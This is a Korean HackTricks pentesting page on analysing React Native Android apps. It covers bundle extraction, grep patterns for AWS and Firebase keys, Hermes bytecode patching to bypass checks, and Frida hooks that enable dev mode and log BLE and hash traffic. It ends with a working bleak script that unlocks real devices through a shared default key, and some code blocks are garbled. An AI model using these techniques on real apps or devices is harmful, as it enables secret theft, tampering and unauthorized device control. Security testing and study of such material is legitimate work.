React Native 애플리케이션 분석

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

애플리케이션이 React Native 프레임워크로 빌드되었는지 확인하려면 다음 단계를 따르세요:

  1. APK 파일의 확장자를 zip으로 바꾸고 cp com.example.apk example-apk.zipunzip -qq example-apk.zip -d ReactNative 명령으로 새 폴더에 추출합니다.

  2. 새로 생성된 ReactNative 폴더로 이동하여 assets 폴더를 찾습니다. 이 폴더 안에서 index.android.bundle 파일을 찾을 수 있으며, 이는 minified 형식의 React JavaScript를 포함합니다.

  3. JavaScript 파일을 검색하려면 find . -print | grep -i ".bundle$" 명령을 사용합니다.

Note: APK 대신 Android App Bundle (.aab)이 제공된 경우 먼저 universal APK를 생성한 다음 번들을 추출하세요:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript 코드

If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can 분석하여 민감한 정보와 취약점을 찾을 수 있습니다.

As the bundle contains actually all the JS code of the application it’s possible to 여러 파일로 분할할 수 있습니다 (potentially making easier its reverse engineering) using the 도구 react-native-decompiler.

Webpack

To further analyze the JavaScript code, you can upload the file to https://spaceraccoon.github.io/webpack-exploder/ or follow these steps:

  1. 같은 디렉터리에 index.html이라는 파일을 만들고 다음 코드를 넣으세요:
<script src="./index.android.bundle"></script>
  1. Google Chrome에서 index.html 파일을 엽니다.

  2. OS X에서는 Command+Option+J, Windows에서는 Control+Shift+J를 눌러 개발자 도구를 엽니다.

  3. 개발자 도구에서 “Sources“를 클릭합니다. 폴더와 파일로 분리된 JavaScript 파일이 보이며, 이것이 메인 번들입니다.

만약 index.android.bundle.map라는 파일을 찾으면, 압축되지 않은 형태(unminified)로 소스 코드를 분석할 수 있습니다. Map 파일은 소스 매핑을 포함하고 있어, 압축된 식별자들을 원래 소스와 매핑할 수 있게 해줍니다.

민감한 자격증명 및 endpoints를 검색하려면, 다음 단계를 따르세요:

  1. JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 같은 서드파티 서비스의 endpoints, private keys 등과 같은 항목을 사용합니다.

  2. 이 특정 사례에서는 애플리케이션이 Dialogflow 서비스를 사용하는 것으로 관찰되었습니다. 그 구성과 관련된 패턴을 검색하세요.

  3. 리콘 과정에서 다행히 민감한 하드코딩된 자격증명이 JavaScript 코드에서 발견되었습니다.

Quick secrets/endpoint hunting in bundles

이러한 간단한 greps는 minified JS에서도 흥미로운 지표를 자주 드러냅니다:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Over-The-Air 업데이트 프레임워크가 의심되면, 다음도 찾아보세요:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

JS code 변경 및 재빌드

이 경우 code 변경은 쉽습니다. 앱의 확장자를 .zip으로 변경해서 압축을 풀면 됩니다. 그런 다음 번들 내부에서 modify the JS code inside this bundle and rebuild the app 할 수 있습니다. 이는 테스트 목적으로 앱에 inject code 할 수 있도록 충분합니다.

Hermes bytecode

번들에 Hermes bytecode가 포함되어 있다면, 앱의 Javascript code에 접근할 수 없습니다(축소된 버전조차도).

다음 명령어를 실행하여 번들에 Hermes bytecode가 포함되어 있는지 확인할 수 있습니다:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

하지만 hbctool, 최신 bytecode 버전을 지원하는 hbctool의 업데이트된 forks, hasmer, hermes_rs (Rust library/APIs), 또는 **hermes-dec**을 사용하여 disassemble the bytecode하고 또한 decompile it to some pseudo JS code할 수 있습니다. 예를 들어:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

팁: 오픈소스 Hermes 프로젝트는 특정 Hermes 릴리스에 hbcdump 같은 개발자 도구를 포함합니다. 번들을 생성하는 데 사용된 Hermes 버전과 일치하는 버전을 빌드하면, hbcdump로 함수, 문자열 테이블 및 바이트코드를 덤프하여 더 심층적인 분석을 할 수 있습니다.

코드 변경 및 재빌드 (Hermes)

이상적으로는 역어셈블된 코드를 수정(비교 연산을 바꾸거나 값 등을 변경)한 뒤 바이트코드를 재생성하고 앱을 재빌드할 수 있어야 합니다.

  • 원래의 hbctool 은 번들을 디스어셈블하고 변경 후에 다시 빌드하는 것을 지원하지만, 역사적으로는 구버전 바이트코드만 지원했습니다. 커뮤니티가 유지하는 포크들은 (mid-80s–96을 포함한) 최신 Hermes 버전에 대한 지원을 확장하여 현대의 RN 앱을 수정할 때 실용적인 선택인 경우가 많습니다.
  • 도구 hermes-dec 은 바이트코드 재생성을 지원하지 않습니다 (decompiler/disassembler 전용)만, 로직을 탐색하고 문자열을 덤프하는 데 매우 유용합니다.
  • 도구 hasmer 는 여러 Hermes 버전에 대해 디스어셈블 및 어셈블을 모두 지원하는 것을 목표로 합니다; 어셈블 기능은 아직 성숙 중이지만 최신 바이트코드에서 시도해볼 만합니다.

A minimal workflow with hbctool-like assemblers:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.

동적 분석

앱을 동적으로 분석하려면 Frida를 사용해 React 앱의 developer mode를 활성화하고 **react-native-debugger**로 연결해보세요. 다만 이를 위해서는 앱의 소스 코드가 필요해 보입니다. 자세한 내용은 https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/에서 확인하세요.

Frida로 release에서 Dev Support 활성화 (주의사항)

일부 앱은 실수로 Dev Support를 토글할 수 있는 클래스를 포함해서 배포합니다. 그런 클래스가 존재한다면 getUseDeveloperSupport()가 true를 반환하도록 강제해볼 수 있습니다:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

경고: 올바르게 빌드된 release 빌드에서는 DevSupportManagerImpl 및 관련 디버그 전용 클래스가 제거되며 이 플래그를 전환하면 앱이 충돌하거나 아무 효과가 없을 수 있습니다. 작동하는 경우 일반적으로 개발자 메뉴를 노출시키고 디버거/인스펙터에 연결할 수 있습니다.

RN 앱에서의 네트워크 가로채기

React Native Android는 일반적으로 내부적으로 OkHttp를 사용합니다 (Networking native module을 통해). 루팅되지 않은 기기에서 동적 테스트 중 트래픽을 가로채거나 관찰하려면:

  • 시스템 프록시 + 사용자 CA 신뢰 또는 다른 일반적인 Android TLS 우회 기법을 사용하세요.
  • RN 전용 팁: 앱이 실수로 release에 Flipper(디버그 도구)를 번들하면 Flipper Network plugin이 요청/응답을 노출할 수 있습니다.

일반적인 Android 가로채기 및 pinning 우회 기법은 다음을 참고하세요:

Make APK Accept CA Certificate

Objection Tutorial

Frida로 런타임 GATT 프로토콜 발견 (Hermes 친화적)

Hermes 바이트코드가 JS의 쉬운 정적 분석을 막을 때는 대신 Android BLE 스택을 후킹하세요. android.bluetooth.BluetoothGattBluetoothGattCallback은 앱이 송수신하는 모든 것을 노출하므로 JS 소스 없이도 독점적인 challenge-response 및 명령 프레임을 역분석할 수 있습니다.

Frida GATT logger (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

`java.security.MessageDigest`를 후킹하여 해시 기반 핸드셰이크의 지문을 식별하고 정확한 입력 결합을 캡처합니다:

<details>
<summary>Frida MessageDigest 트레이서 (알고리즘, 입력, 출력)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

실제 사례에서 다음과 같은 BLE 흐름이 확인되었다:

  • Read challenge from 00002556-1212-efde-1523-785feabcd123.
  • Compute response = SHA1(challenge || key) where the key was a 20-byte default of 0xFF provisioned across all devices.
  • Write the response to 00002557-1212-efde-1523-785feabcd123, then issue commands on 0000155f-1212-efde-1523-785feabcd123.

인증이 완료되면, 명령은 ...155f...로 전송되는 10바이트 프레임이었다 ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). 예: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... 알림은 0000155e-1212-efde-1523-785feabcd123에서 도착했으며(2바이트 registry + payload), registry 값을 조회하려면 registry ID를 00001564-1212-efde-1523-785feabcd123에 쓰고 ...155f...에서 다시 읽으면 된다.

공유/기본 키를 사용하면 challenge-response 방식이 무력화된다. 근처의 공격자는 digest를 계산해 권한 있는 명령을 전송할 수 있다. 최소한의 bleak PoC:

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## 인기 있는 RN 라이브러리의 최근 이슈 (확인할 항목)

JS 번들 또는 native libs에서 보이는 서드파티 모듈을 감사할 때, 알려진 취약점이 있는지 확인하고 `package.json`/`yarn.lock`의 버전을 검증하세요.

- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional 암호화 키 to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. 입력값과 라이브러리 버전을 검증하세요.

빠른 확인:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기